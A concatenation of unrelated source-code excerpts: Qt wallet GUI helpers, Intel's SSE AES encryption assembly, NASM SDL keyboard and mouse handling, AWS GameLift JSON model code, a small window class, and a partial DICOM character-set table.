// Not using default, so we get warned when a case is missing
}
if (bit < 8) {
return QString("%1[%2]").arg("UNKNOWN").arg(mask);
} else {
return QString("%1[2^%2]").arg("UNKNOWN").arg(bit);
}
}
QString formatServicesStr(quint64 mask)
{
QStringList strList;
for (int i = 0; i < 64; i++) {
uint64_t check = 1LL << i;
if (mask & check)
{
strList.append(serviceFlagToStr(check, i));
}
}
if (strList.size())
return strList.join(" & ");
else
return QObject::tr("None");
}
QString formatPingTime(int64_t ping_usec)
{
return (ping_usec == std::numeric_limits<int64_t>::max() || ping_usec == 0) ? QObject::tr("N/A") : QString(QObject::tr("%1 ms")).arg(QString::number((int)(ping_usec / 1000), 10));
}
QString formatTimeOffset(int64_t nTimeOffset)
{
return QString(QObject::tr("%1 s")).arg(QString::number((int)nTimeOffset, 10));
}
QString formatNiceTimeOffset(qint64 secs)
{
// Represent time from last generated block in human readable text
QString timeBehindText;
const int HOUR_IN_SECONDS = 60*60;
const int DAY_IN_SECONDS = 24*60*60;
const int WEEK_IN_SECONDS = 7*24*60*60;
const int YEAR_IN_SECONDS = 31556952; // Average length of year in Gregorian calendar
if(secs < 60)
{
timeBehindText = QObject::tr("%n second(s)","",secs);
}
else if(secs < 2*HOUR_IN_SECONDS)
{
timeBehindText = QObject::tr("%n minute(s)","",secs/60);
}
else if(secs < 2*DAY_IN_SECONDS)
{
timeBehindText = QObject::tr("%n hour(s)","",secs/HOUR_IN_SECONDS);
}
else if(secs < 2*WEEK_IN_SECONDS)
{
timeBehindText = QObject::tr("%n day(s)","",secs/DAY_IN_SECONDS);
}
else if(secs < YEAR_IN_SECONDS)
{
timeBehindText = QObject::tr("%n week(s)","",secs/WEEK_IN_SECONDS);
}
else
{
qint64 years = secs / YEAR_IN_SECONDS;
qint64 remainder = secs % YEAR_IN_SECONDS;
timeBehindText = QObject::tr("%1 and %2").arg(QObject::tr("%n year(s)", "", years)).arg(QObject::tr("%n week(s)","", remainder/WEEK_IN_SECONDS));
}
return timeBehindText;
}
QString formatBytes(uint64_t bytes)
{
if(bytes < 1024)
return QString(QObject::tr("%1 B")).arg(bytes);
if(bytes < 1024 * 1024)
return QString(QObject::tr("%1 KB")).arg(bytes / 1024);
if(bytes < 1024 * 1024 * 1024)
return QString(QObject::tr("%1 MB")).arg(bytes / 1024 / 1024);
return QString(QObject::tr("%1 GB")).arg(bytes / 1024 / 1024 / 1024);
}
qreal calculateIdealFontSize(int width, const QString& text, QFont font, qreal minPointSize, qreal font_size) {
while(font_size >= minPointSize) {
font.setPointSizeF(font_size);
QFontMetrics fm(font);
if (TextWidth(fm, text) < width) {
break;
}
font_size -= 0.5;
}
return font_size;
}
void ClickableLabel::mouseReleaseEvent(QMouseEvent *event)
{
Q_EMIT clicked(event->pos());
}
void ClickableProgressBar::mouseReleaseEvent(QMouseEvent *event)
{
Q_EMIT clicked(event->pos());
}
bool ItemDelegate::eventFilter(QObject *object, QEvent *event)
{
if (event->type() == QEvent::KeyPress) {
if (static_cast<QKeyEvent*>(event)->key() == Qt::Key_Escape) {
Q_EMIT keyEscapePressed();
}
}
return QItemDelegate::eventFilter(object, event);
}
void PolishProgressDialog(QProgressDialog* dialog)
{
#ifdef Q_OS_MAC
// Workaround for macOS-only Qt bug; see: QTBUG-65750, QTBUG-70357.
const int margin = TextWidth(dialog->fontMetrics(), ("X"));
dialog->resize(dialog->width() + 2 * margin, dialog->height());
dialog->show();
#else
Q_UNUSED(dialog);
#endif
}
int TextWidth(const QFontMetrics& fm, const QString& text)
{
#if (QT_VERSION >= QT_VERSION_CHECK(5, 11, 0))
return fm.horizontalAdvance(text);
#else
return fm.width(text);
#endif
}
void LogQtInfo()
{
#ifdef QT_STATIC
const std::string qt_link{"static"};
#else
const std::string qt_link{"dynamic"};
#endif
#ifdef QT_STATICPLUGIN
const std::string plugin_link{"static"};
#else
const std::string plugin_link{"dynamic"};
#endif
LogPrintf("Qt %s (%s), plugin=%s (%s)\n", qVersion(), qt_link, QGuiApplication::platformName().toStdString(), plugin_link);
LogPrintf("System: %s, %s\n", QSysInfo::prettyProductName().toStdString(), QSysInfo::buildAbi().toStdString());
for (const QScreen* s : QGuiApplication::screens()) {
LogPrintf("Screen: %s %dx%d, pixel ratio=%.1f\n", s->name().toStdString(), s->size().width(), s->size().height(), s->devicePixelRatio());
}
}
} // namespace GUIUtil
|
###############################################################################
# Copyright 2019 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.section .note.GNU-stack,"",%progbits
.text
.p2align 4, 0x90
ENCODE_DATA:
TransFwdLO:
.byte 0x0
.byte 0x1
.byte 0x2E
.byte 0x2F
.byte 0x49
.byte 0x48
.byte 0x67
.byte 0x66
.byte 0x43
.byte 0x42
.byte 0x6D
.byte 0x6C
.byte 0xA
.byte 0xB
.byte 0x24
.byte 0x25
TransFwdHI:
.byte 0x0
.byte 0x35
.byte 0xD0
.byte 0xE5
.byte 0x3D
.byte 0x8
.byte 0xED
.byte 0xD8
.byte 0xE9
.byte 0xDC
.byte 0x39
.byte 0xC
.byte 0xD4
.byte 0xE1
.byte 0x4
.byte 0x31
TransInvLO:
.byte 0x0
.byte 0x1
.byte 0x5C
.byte 0x5D
.byte 0xE0
.byte 0xE1
.byte 0xBC
.byte 0xBD
.byte 0x50
.byte 0x51
.byte 0xC
.byte 0xD
.byte 0xB0
.byte 0xB1
.byte 0xEC
.byte 0xED
TransInvHI:
.byte 0x0
.byte 0x1F
.byte 0xEE
.byte 0xF1
.byte 0x55
.byte 0x4A
.byte 0xBB
.byte 0xA4
.byte 0x6A
.byte 0x75
.byte 0x84
.byte 0x9B
.byte 0x3F
.byte 0x20
.byte 0xD1
.byte 0xCE
GF16_csize:
.byte 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF
GF16_logTbl:
.byte 0xC0, 0x0, 0x1, 0x4, 0x2, 0x8, 0x5, 0xA, 0x3, 0xE, 0x9, 0x7, 0x6, 0xD, 0xB, 0xC
GF16_expTbl:
.byte 0x1, 0x2, 0x4, 0x8, 0x3, 0x6, 0xC, 0xB, 0x5, 0xA, 0x7, 0xE, 0xF, 0xD, 0x9, 0x1
GF16_sqr1:
.byte 0x0, 0x9, 0x2, 0xB, 0x8, 0x1, 0xA, 0x3, 0x6, 0xF, 0x4, 0xD, 0xE, 0x7, 0xC, 0x5
GF16_invLog:
.byte 0xC0, 0x0, 0xE, 0xB, 0xD, 0x7, 0xA, 0x5, 0xC, 0x1, 0x6, 0x8, 0x9, 0x2, 0x4, 0x3
GF16_expTbl_shift:
.byte 0x10, 0x20, 0x40, 0x80, 0x30, 0x60, 0xC0, 0xB0, 0x50, 0xA0, 0x70, 0xE0, 0xF0, 0xD0, 0x90, 0x10
FwdAffineLO:
.byte 0x0
.byte 0x10
.byte 0x22
.byte 0x32
.byte 0x55
.byte 0x45
.byte 0x77
.byte 0x67
.byte 0x82
.byte 0x92
.byte 0xA0
.byte 0xB0
.byte 0xD7
.byte 0xC7
.byte 0xF5
.byte 0xE5
FwdAffineHI:
.byte 0x0
.byte 0x41
.byte 0x34
.byte 0x75
.byte 0x40
.byte 0x1
.byte 0x74
.byte 0x35
.byte 0x2A
.byte 0x6B
.byte 0x1E
.byte 0x5F
.byte 0x6A
.byte 0x2B
.byte 0x5E
.byte 0x1F
FwdAffineCnt:
.quad 0xC2C2C2C2C2C2C2C2, 0xC2C2C2C2C2C2C2C2
FwdShiftRows:
.byte 0,5,10,15,4,9,14,3,8,13,2,7,12,1,6,11
GF16mul_E_2x:
.byte 0x0, 0x2E, 0x4F, 0x61, 0x8D, 0xA3, 0xC2, 0xEC, 0x39, 0x17, 0x76, 0x58, 0xB4, 0x9A, 0xFB, 0xD5
GF16mul_1_Cx:
.byte 0x0, 0xC1, 0xB2, 0x73, 0x54, 0x95, 0xE6, 0x27, 0xA8, 0x69, 0x1A, 0xDB, 0xFC, 0x3D, 0x4E, 0x8F
ColumnROR:
.byte 1,2,3,0,5,6,7,4,9,10,11,8,13,14,15,12
.p2align 4, 0x90
.globl TransformNative2Composite
.type TransformNative2Composite, @function
TransformNative2Composite:
movdqu (%rsi), %xmm0
movdqa GF16_csize(%rip), %xmm7
movdqa TransFwdLO(%rip), %xmm1
movdqa TransFwdHI(%rip), %xmm2
movdqa %xmm0, %xmm3
psrlw $(4), %xmm0
pand %xmm7, %xmm3
pand %xmm7, %xmm0
pshufb %xmm3, %xmm1
pshufb %xmm0, %xmm2
pxor %xmm2, %xmm1
movdqu %xmm1, (%rdi)
ret
.Lfe1:
.size TransformNative2Composite, .Lfe1-(TransformNative2Composite)
.p2align 4, 0x90
.globl SafeEncrypt_RIJ128
.type SafeEncrypt_RIJ128, @function
SafeEncrypt_RIJ128:
movdqu (%rdi), %xmm1
movdqa GF16_csize(%rip), %xmm7
movdqa TransFwdLO(%rip), %xmm0
movdqa TransFwdHI(%rip), %xmm2
movdqa %xmm1, %xmm3
psrlw $(4), %xmm1
pand %xmm7, %xmm3
pand %xmm7, %xmm1
pshufb %xmm3, %xmm0
pshufb %xmm1, %xmm2
pxor %xmm2, %xmm0
pxor (%rcx), %xmm0
add $(16), %rcx
sub $(1), %rdx
.Lencode_roundgas_2:
movdqa %xmm0, %xmm1
pand %xmm7, %xmm0
psrlw $(4), %xmm1
pand %xmm7, %xmm1
movdqa GF16_logTbl(%rip), %xmm5
pshufb %xmm0, %xmm5
pxor %xmm1, %xmm0
movdqa GF16_logTbl(%rip), %xmm2
pshufb %xmm0, %xmm2
movdqa GF16_sqr1(%rip), %xmm4
pshufb %xmm1, %xmm4
movdqa GF16_logTbl(%rip), %xmm3
pshufb %xmm1, %xmm3
paddb %xmm2, %xmm5
movdqa %xmm5, %xmm0
pcmpgtb %xmm7, %xmm5
psubb %xmm5, %xmm0
movdqa GF16_expTbl(%rip), %xmm5
pshufb %xmm0, %xmm5
pxor %xmm5, %xmm4
movdqa GF16_invLog(%rip), %xmm5
pshufb %xmm4, %xmm5
paddb %xmm5, %xmm2
paddb %xmm5, %xmm3
movdqa %xmm2, %xmm5
pcmpgtb %xmm7, %xmm2
psubb %xmm2, %xmm5
movdqa GF16_expTbl(%rip), %xmm0
pshufb %xmm5, %xmm0
movdqa %xmm3, %xmm5
pcmpgtb %xmm7, %xmm3
psubb %xmm3, %xmm5
movdqa GF16_expTbl(%rip), %xmm1
pshufb %xmm5, %xmm1
movdqa FwdAffineLO(%rip), %xmm3
movdqa FwdAffineHI(%rip), %xmm2
movdqa FwdAffineCnt(%rip), %xmm4
pshufb %xmm0, %xmm3
pshufb %xmm1, %xmm2
pxor %xmm4, %xmm3
pxor %xmm2, %xmm3
pshufb FwdShiftRows(%rip), %xmm3
movdqa %xmm3, %xmm1
movdqa %xmm3, %xmm2
pxor %xmm4, %xmm4
psrlw $(4), %xmm2
pand %xmm7, %xmm1
movdqa GF16mul_E_2x(%rip), %xmm0
pshufb %xmm1, %xmm0
pand %xmm7, %xmm2
movdqa GF16mul_1_Cx(%rip), %xmm1
pshufb %xmm2, %xmm1
pxor %xmm1, %xmm0
pshufb ColumnROR(%rip), %xmm3
pxor %xmm3, %xmm4
pshufb ColumnROR(%rip), %xmm3
pxor %xmm3, %xmm4
movdqa %xmm0, %xmm2
pshufb ColumnROR(%rip), %xmm2
pxor %xmm2, %xmm0
pshufb ColumnROR(%rip), %xmm3
pxor %xmm3, %xmm4
pxor %xmm4, %xmm0
pxor (%rcx), %xmm0
add $(16), %rcx
sub $(1), %rdx
jg .Lencode_roundgas_2
movdqa %xmm0, %xmm1
pand %xmm7, %xmm0
psrlw $(4), %xmm1
pand %xmm7, %xmm1
movdqa GF16_logTbl(%rip), %xmm5
pshufb %xmm0, %xmm5
pxor %xmm1, %xmm0
movdqa GF16_logTbl(%rip), %xmm2
pshufb %xmm0, %xmm2
movdqa GF16_sqr1(%rip), %xmm4
pshufb %xmm1, %xmm4
movdqa GF16_logTbl(%rip), %xmm3
pshufb %xmm1, %xmm3
paddb %xmm2, %xmm5
movdqa %xmm5, %xmm0
pcmpgtb %xmm7, %xmm5
psubb %xmm5, %xmm0
movdqa GF16_expTbl(%rip), %xmm5
pshufb %xmm0, %xmm5
pxor %xmm5, %xmm4
movdqa GF16_invLog(%rip), %xmm5
pshufb %xmm4, %xmm5
paddb %xmm5, %xmm2
paddb %xmm5, %xmm3
movdqa %xmm2, %xmm5
pcmpgtb %xmm7, %xmm2
psubb %xmm2, %xmm5
movdqa GF16_expTbl(%rip), %xmm0
pshufb %xmm5, %xmm0
movdqa %xmm3, %xmm5
pcmpgtb %xmm7, %xmm3
psubb %xmm3, %xmm5
movdqa GF16_expTbl(%rip), %xmm1
pshufb %xmm5, %xmm1
movdqa FwdAffineLO(%rip), %xmm3
movdqa FwdAffineHI(%rip), %xmm2
movdqa FwdAffineCnt(%rip), %xmm4
pshufb %xmm0, %xmm3
pshufb %xmm1, %xmm2
pxor %xmm4, %xmm3
pxor %xmm2, %xmm3
pshufb FwdShiftRows(%rip), %xmm3
pxor (%rcx), %xmm3
movdqa TransInvLO(%rip), %xmm0
movdqa TransInvHI(%rip), %xmm2
movdqa %xmm3, %xmm1
psrlw $(4), %xmm3
pand %xmm7, %xmm1
pand %xmm7, %xmm3
pshufb %xmm1, %xmm0
pshufb %xmm3, %xmm2
pxor %xmm2, %xmm0
movdqu %xmm0, (%rsi)
ret
.Lfe2:
.size SafeEncrypt_RIJ128, .Lfe2-(SafeEncrypt_RIJ128)
|
global evaluate_inputs
global clear_inputs
global sdl_event
extern SDL_PollEvent
global key_w
global key_a
global key_s
global key_d
global key_enter
global key_spc
global key_esc
global quit_p
global key_down
global key_up
global key_left
global key_right
global mouse_X
global mouse_Y
section .bss
ALIGN 64
key_w: resb 1
key_a: resb 1
key_s: resb 1
key_d: resb 1
key_enter: resb 1
key_spc: resb 1
key_esc: resb 1
quit_p: resb 1
key_down: resb 1
key_up: resb 1
key_left: resb 1
key_right: resb 1
; X/Y coordinates of the mouse, both integers
mouse_X: resd 1
mouse_Y: resd 1
; one global SDL_Event
sdl_event: resb 24
section .text
align 16
clear_inputs:
; zero out all input flags
xor rax, rax
mov [key_w], rax
mov [key_down], eax
ret
;
; evaluate SDL_KEYDOWN event types
;
align 16
evaluate_keydown:
mov eax, dword [sdl_event + 8] ; offset of key.keysym.sym in SDL_Event (4 byte field)
; first test:
cmp eax, 119 ; w
jne keydown_test_a
mov [key_w], byte 1
ret
keydown_test_a:
cmp eax, 97 ; a
jne keydown_test_s
mov [key_a], byte 1
ret
keydown_test_s:
cmp eax, 115 ; s
jne keydown_test_d
mov [key_s], byte 1
ret
keydown_test_d:
cmp eax, 100 ; d
jne keydown_test_esc
mov [key_d], byte 1
ret
keydown_test_esc:
cmp eax, 27 ; esc
jne keydown_test_enter
mov [key_esc], byte 1
ret
keydown_test_enter:
cmp eax, 13 ; return
jne keydown_test_space
mov [key_enter], byte 1
ret
keydown_test_space:
cmp eax, 32 ; space
jne keydown_test_down
mov [key_spc], byte 1
ret
keydown_test_down:
cmp eax, 274 ; down arrow
jne keydown_test_up
mov [key_down], byte 1
ret
keydown_test_up:
cmp eax, 273 ; up arrow
jne keydown_test_left
mov [key_up], byte 1
ret
keydown_test_left:
cmp eax, 276 ; left arrow
jne keydown_test_right
mov [key_left], byte 1
ret
keydown_test_right:
cmp eax, 275 ; right arrow
jne keydown_done
mov [key_right], byte 1
keydown_done:
ret
;
; evaluate SDL_KEYUP event types
;
align 16
evaluate_keyup:
mov eax, dword [sdl_event + 8] ; offset of key.keysym.sym in SDL_Event
cmp eax, 119 ; w
jne keyup_test_a
mov [key_w], byte 0
ret
keyup_test_a:
cmp eax, 97 ; a
jne keyup_test_s
mov [key_a], byte 0
ret
keyup_test_s:
cmp eax, 115 ; s
jne keyup_test_d
mov [key_s], byte 0
ret
keyup_test_d:
cmp eax, 100 ; d
jne keyup_test_esc
mov [key_d], byte 0
ret
keyup_test_esc:
cmp eax, 27 ; esc
jne keyup_test_enter
mov [key_esc], byte 0
ret
keyup_test_enter:
cmp eax, 13 ; return
jne keyup_test_space
mov [key_enter], byte 0
ret
keyup_test_space:
cmp eax, 32 ; space
jne keyup_test_down
mov [key_spc], byte 0
ret
keyup_test_down:
cmp eax, 274 ; down arrow
jne keyup_test_up
mov [key_down], byte 0
ret
keyup_test_up:
cmp eax, 273 ; up arrow
jne keyup_test_left
mov [key_up], byte 0
ret
keyup_test_left:
cmp eax, 276 ; left arrow
jne keyup_test_right
mov [key_left], byte 0
ret
keyup_test_right:
cmp eax, 275 ; right arrow
jne keyup_done
mov [key_right], byte 0
keyup_done:
ret
;
; grab the updated mouse position
;
align 16
evaluate_mouse_motion:
push rbp
mov rbp, rsp
; just update the mouse position and return
mov ax, word [sdl_event + 4] ; offset of X
movzx rax, ax ; zero-extend X value
mov [mouse_X], eax ; store X as integer
mov ax, word [sdl_event + 6] ; offset of Y
movzx rax, ax ; zero-extend Y value
mov [mouse_Y], eax ; store Y as integer
mov rsp, rbp
pop rbp
ret
;
; update mouse position and call callback
;
align 16
evaluate_mouse_button:
push rbp
mov rbp, rsp
mov ax, word [sdl_event + 4] ; offset of X
movzx rax, ax ; zero-extend X value
mov [mouse_X], eax ; store X as integer
mov ax, word [sdl_event + 6] ; offset of Y
movzx rax, ax ; zero-extend Y value
mov [mouse_Y], eax ; store Y as integer
; click callback is in rdi
cmp rdi, 0
je end_eval_mouse_button ; dont make callback if it is zero
call rdi ; otherwise call away
end_eval_mouse_button:
mov rsp, rbp
pop rbp
ret
evaluate_inputs:
push rbp
mov rbp, rsp
; need some space for locally saved variables
sub rsp, 16
mov qword [rsp], rdi ; rdi : mouse click callback
start_poll_loop:
mov rdi, sdl_event ; ptr to SDL_Event structure
call SDL_PollEvent
cmp rax, 0 ; SDL_PollEvent returns zero if there are no more events
je end_eval_inputs ; ...
; we have an event. fill out the key data above
; test for SDL_QUIT event
cmp [sdl_event + 0], byte 12 ; SDL_QUIT
jne test_keydown
; update the quit flag
mov [quit_p], byte 1 ; flag becomes true
jmp end_eval_inputs ; dont care about the other events
test_keydown:
cmp [sdl_event + 0], byte 2 ; SDL_KEYDOWN
jne test_keyup
call evaluate_keydown
jmp start_poll_loop
test_keyup:
cmp [sdl_event + 0], byte 3 ; SDL_KEYUP
jne test_mousemotion
call evaluate_keyup
jmp start_poll_loop
test_mousemotion:
cmp [sdl_event + 0], byte 4 ; SDL_MOUSEMOTION
jne test_mousebutton
call evaluate_mouse_motion
jmp start_poll_loop
test_mousebutton:
cmp [sdl_event + 0], byte 5 ; SDL_MOUSEBUTTONDOWN
jne test_mbup
mov rdi, qword [rsp] ; move callback into rdi
call evaluate_mouse_button ; button is down
jmp start_poll_loop
test_mbup:
cmp [sdl_event + 0], byte 6 ; SDL_MOUSEBUTTONUP
jne start_poll_loop
mov rdi, qword [rsp] ; move callback into rdi
call evaluate_mouse_button ; button is up
jmp start_poll_loop
end_eval_inputs:
mov rsp, rbp
pop rbp
ret
|
org 0
incbin "resources/cplogo.scr"
|
/*
* Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
#include <aws/gamelift/model/ScalingPolicy.h>
#include <aws/core/utils/json/JsonSerializer.h>
#include <utility>
using namespace Aws::Utils::Json;
using namespace Aws::Utils;
namespace Aws
{
namespace GameLift
{
namespace Model
{
ScalingPolicy::ScalingPolicy() :
m_fleetIdHasBeenSet(false),
m_nameHasBeenSet(false),
m_status(ScalingStatusType::NOT_SET),
m_statusHasBeenSet(false),
m_scalingAdjustment(0),
m_scalingAdjustmentHasBeenSet(false),
m_scalingAdjustmentType(ScalingAdjustmentType::NOT_SET),
m_scalingAdjustmentTypeHasBeenSet(false),
m_comparisonOperator(ComparisonOperatorType::NOT_SET),
m_comparisonOperatorHasBeenSet(false),
m_threshold(0.0),
m_thresholdHasBeenSet(false),
m_evaluationPeriods(0),
m_evaluationPeriodsHasBeenSet(false),
m_metricName(MetricName::NOT_SET),
m_metricNameHasBeenSet(false)
{
}
ScalingPolicy::ScalingPolicy(const JsonValue& jsonValue) :
m_fleetIdHasBeenSet(false),
m_nameHasBeenSet(false),
m_status(ScalingStatusType::NOT_SET),
m_statusHasBeenSet(false),
m_scalingAdjustment(0),
m_scalingAdjustmentHasBeenSet(false),
m_scalingAdjustmentType(ScalingAdjustmentType::NOT_SET),
m_scalingAdjustmentTypeHasBeenSet(false),
m_comparisonOperator(ComparisonOperatorType::NOT_SET),
m_comparisonOperatorHasBeenSet(false),
m_threshold(0.0),
m_thresholdHasBeenSet(false),
m_evaluationPeriods(0),
m_evaluationPeriodsHasBeenSet(false),
m_metricName(MetricName::NOT_SET),
m_metricNameHasBeenSet(false)
{
*this = jsonValue;
}
ScalingPolicy& ScalingPolicy::operator =(const JsonValue& jsonValue)
{
if(jsonValue.ValueExists("FleetId"))
{
m_fleetId = jsonValue.GetString("FleetId");
m_fleetIdHasBeenSet = true;
}
if(jsonValue.ValueExists("Name"))
{
m_name = jsonValue.GetString("Name");
m_nameHasBeenSet = true;
}
if(jsonValue.ValueExists("Status"))
{
m_status = ScalingStatusTypeMapper::GetScalingStatusTypeForName(jsonValue.GetString("Status"));
m_statusHasBeenSet = true;
}
if(jsonValue.ValueExists("ScalingAdjustment"))
{
m_scalingAdjustment = jsonValue.GetInteger("ScalingAdjustment");
m_scalingAdjustmentHasBeenSet = true;
}
if(jsonValue.ValueExists("ScalingAdjustmentType"))
{
m_scalingAdjustmentType = ScalingAdjustmentTypeMapper::GetScalingAdjustmentTypeForName(jsonValue.GetString("ScalingAdjustmentType"));
m_scalingAdjustmentTypeHasBeenSet = true;
}
if(jsonValue.ValueExists("ComparisonOperator"))
{
m_comparisonOperator = ComparisonOperatorTypeMapper::GetComparisonOperatorTypeForName(jsonValue.GetString("ComparisonOperator"));
m_comparisonOperatorHasBeenSet = true;
}
if(jsonValue.ValueExists("Threshold"))
{
m_threshold = jsonValue.GetDouble("Threshold");
m_thresholdHasBeenSet = true;
}
if(jsonValue.ValueExists("EvaluationPeriods"))
{
m_evaluationPeriods = jsonValue.GetInteger("EvaluationPeriods");
m_evaluationPeriodsHasBeenSet = true;
}
if(jsonValue.ValueExists("MetricName"))
{
m_metricName = MetricNameMapper::GetMetricNameForName(jsonValue.GetString("MetricName"));
m_metricNameHasBeenSet = true;
}
return *this;
}
JsonValue ScalingPolicy::Jsonize() const
{
JsonValue payload;
if(m_fleetIdHasBeenSet)
{
payload.WithString("FleetId", m_fleetId);
}
if(m_nameHasBeenSet)
{
payload.WithString("Name", m_name);
}
if(m_statusHasBeenSet)
{
payload.WithString("Status", ScalingStatusTypeMapper::GetNameForScalingStatusType(m_status));
}
if(m_scalingAdjustmentHasBeenSet)
{
payload.WithInteger("ScalingAdjustment", m_scalingAdjustment);
}
if(m_scalingAdjustmentTypeHasBeenSet)
{
payload.WithString("ScalingAdjustmentType", ScalingAdjustmentTypeMapper::GetNameForScalingAdjustmentType(m_scalingAdjustmentType));
}
if(m_comparisonOperatorHasBeenSet)
{
payload.WithString("ComparisonOperator", ComparisonOperatorTypeMapper::GetNameForComparisonOperatorType(m_comparisonOperator));
}
if(m_thresholdHasBeenSet)
{
payload.WithDouble("Threshold", m_threshold);
}
if(m_evaluationPeriodsHasBeenSet)
{
payload.WithInteger("EvaluationPeriods", m_evaluationPeriods);
}
if(m_metricNameHasBeenSet)
{
payload.WithString("MetricName", MetricNameMapper::GetNameForMetricName(m_metricName));
}
return payload;
}
} // namespace Model
} // namespace GameLift
} // namespace Aws |
#include "window.h"
int Window::getWidth() {
return prop->w;
}
int Window::getHeight() {
return prop->h;
}
String Window::getTitle() {
return prop->title;
}
void Window::changeWidth(int newW) {
prop->w = newW;
}
void Window::changeHeight(int newH) {
prop->h = newH;
}
void Window::changeTitle(String newTitle) {
prop->title = newTitle;
}
void* Window::getWindow() {
return prop;
} |
/*=========================================================================
Program: DICOM for VTK
Copyright (c) 2012-2015 David Gobbi
All rights reserved.
See Copyright.txt or http://dgobbi.github.io/bsd3.txt for details.
This software is distributed WITHOUT ANY WARRANTY; without even
the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
PURPOSE. See the above copyright notice for more information.
=========================================================================*/
#include "vtkDICOMCharacterSet.h"
//----------------------------------------------------------------------------
namespace {
// This table gives the character sets that are defined in DICOM 2011-3.3
// The first two columns are the possible CS values of character set in the
// SpecificCharacterSet attribute of a DICOM data set. If the second form
// of the name appears in SpecificCharacterSet, then iso-2022 escape codes
// can be used to switch between character sets. The escape codes to switch
// to the character set are given in the third column.
const char *const Charsets[16][3] = {
{ "ISO_IR 6", "ISO 2022 IR 6", "(B" }, // ascii
{ "ISO_IR 100", "ISO 2022 IR 100", "-A" }, // iso-8859-1, western europe
{ "ISO_IR 101", "ISO 2022 IR 101", "-B" }, // iso-8859-2, central europe
{ "ISO_IR 109", "ISO 2022 IR 109", "-C" }, // iso-8859-3, maltese
{ "ISO_IR 110", "ISO 2022 IR 110", "-D" }, // iso-8859-4, baltic
{ "ISO_IR 144", "ISO 2022 IR 144", "-L" }, // iso-8859-5, cyrillic
{ "ISO_IR 127", "ISO 2022 IR 127", "-G" }, // iso-8859-6, arabic
{ "ISO_IR 126", "ISO 2022 IR 126", "-F" }, // iso-8859-7, greek
{ "ISO_IR 138", "ISO 2022 IR 138", "-H" }, // iso-8859-8, hebrew
{ "ISO_IR 148", "ISO 2022 IR 148", "-M" }, // iso-8859-9, latin5, turkish
{ "ISO_IR 166", "ISO 2022 IR 166", "-T" }, // iso-8859-11, thai
{ "ISO_IR 13", "ISO 2022 IR 13", ")I" }, // JIS X 0201, katakana
{ "ISO_IR 13", "ISO 2022 IR 13", "(J" }, // JIS X 0201, romaji
{ "ISO_IR 192", "", "" }, // unicode multibyte
{ "GB18030", "", "" }, // chinese multibyte
{ "GBK", "", "" }, // subset of GB18030
};
// All secondary character sets have an enum constant greater than this
const int ISO_2022_LOWBIT = 16;
// This table gives secondary character sets.
const char *const Extensions[4][3] = {
{ "ISO_IR 58", "ISO 2022 IR 58", "$)A" }, // GB2312, chinese
{ "ISO_IR 87", "ISO 2022 IR 87", "$B" }, // JIS X 0208, japanese
{ "ISO_IR 159", "ISO 2022 IR 159", "$(D" }, // JIS X 0212, japanese
{ "ISO_IR 149", "ISO 2022 IR 149", "$)C" } }; // KS X 1001, korean
// Code pages for ISO-8859-2/3/4/5/6/7/8/9/11, these were autogenerated
// from the files at http://www.unicode.org/Public/MAPPINGS/ISO8859/
const unsigned short CodePagesISO8859[96][9] = {
{ 0x00A0, 0x00A0, 0x00A0, 0x00A0, 0x00A0, 0x00A0, 0x00A0, 0x00A0, 0x00A0 },
{ 0x0104, 0x0126, 0x0104, 0x0401, 0xFFFD, 0x2018, 0xFFFD, 0x00A1, 0x0E01 },
{ 0x02D8, 0x02D8, 0x0138, 0x0402, 0xFFFD, 0x2019, 0x00A2, 0x00A2, 0x0E02 },
{ 0x0141, 0x00A3, 0x0156, 0x0403, 0xFFFD, 0x00A3, 0x00A3, 0x00A3, 0x0E03 },
{ 0x00A4, 0x00A4, 0x00A4, 0x0404, 0x00A4, 0x20AC, 0x00A4, 0x00A4, 0x0E04 },
{ 0x013D, 0xFFFD, 0x0128, 0x0405, 0xFFFD, 0x20AF, 0x00A5, 0x00A5, 0x0E05 },
{ 0x015A, 0x0124, 0x013B, 0x0406, 0xFFFD, 0x00A6, 0x00A6, 0x00A6, 0x0E06 },
{ 0x00A7, 0x00A7, 0x00A7, 0x0407, 0xFFFD, 0x00A7, 0x00A7, 0x00A7, 0x0E07 },
{ 0x00A8, 0x00A8, 0x00A8, 0x0408, 0xFFFD, 0x00A8, 0x00A8, 0x00A8, 0x0E08 },
{ 0x0160, 0x0130, 0x0160, 0x0409, 0xFFFD, 0x00A9, 0x00A9, 0x00A9, 0x0E09 },
{ 0x015E, 0x015E, 0x0112, 0x040A, 0xFFFD, 0x037A, 0x00D7, 0x00AA, 0x0E0A },
{ 0x0164, 0x011E, 0x0122, 0x040B, 0xFFFD, 0x00AB, 0x00AB, 0x00AB, 0x0E0B },
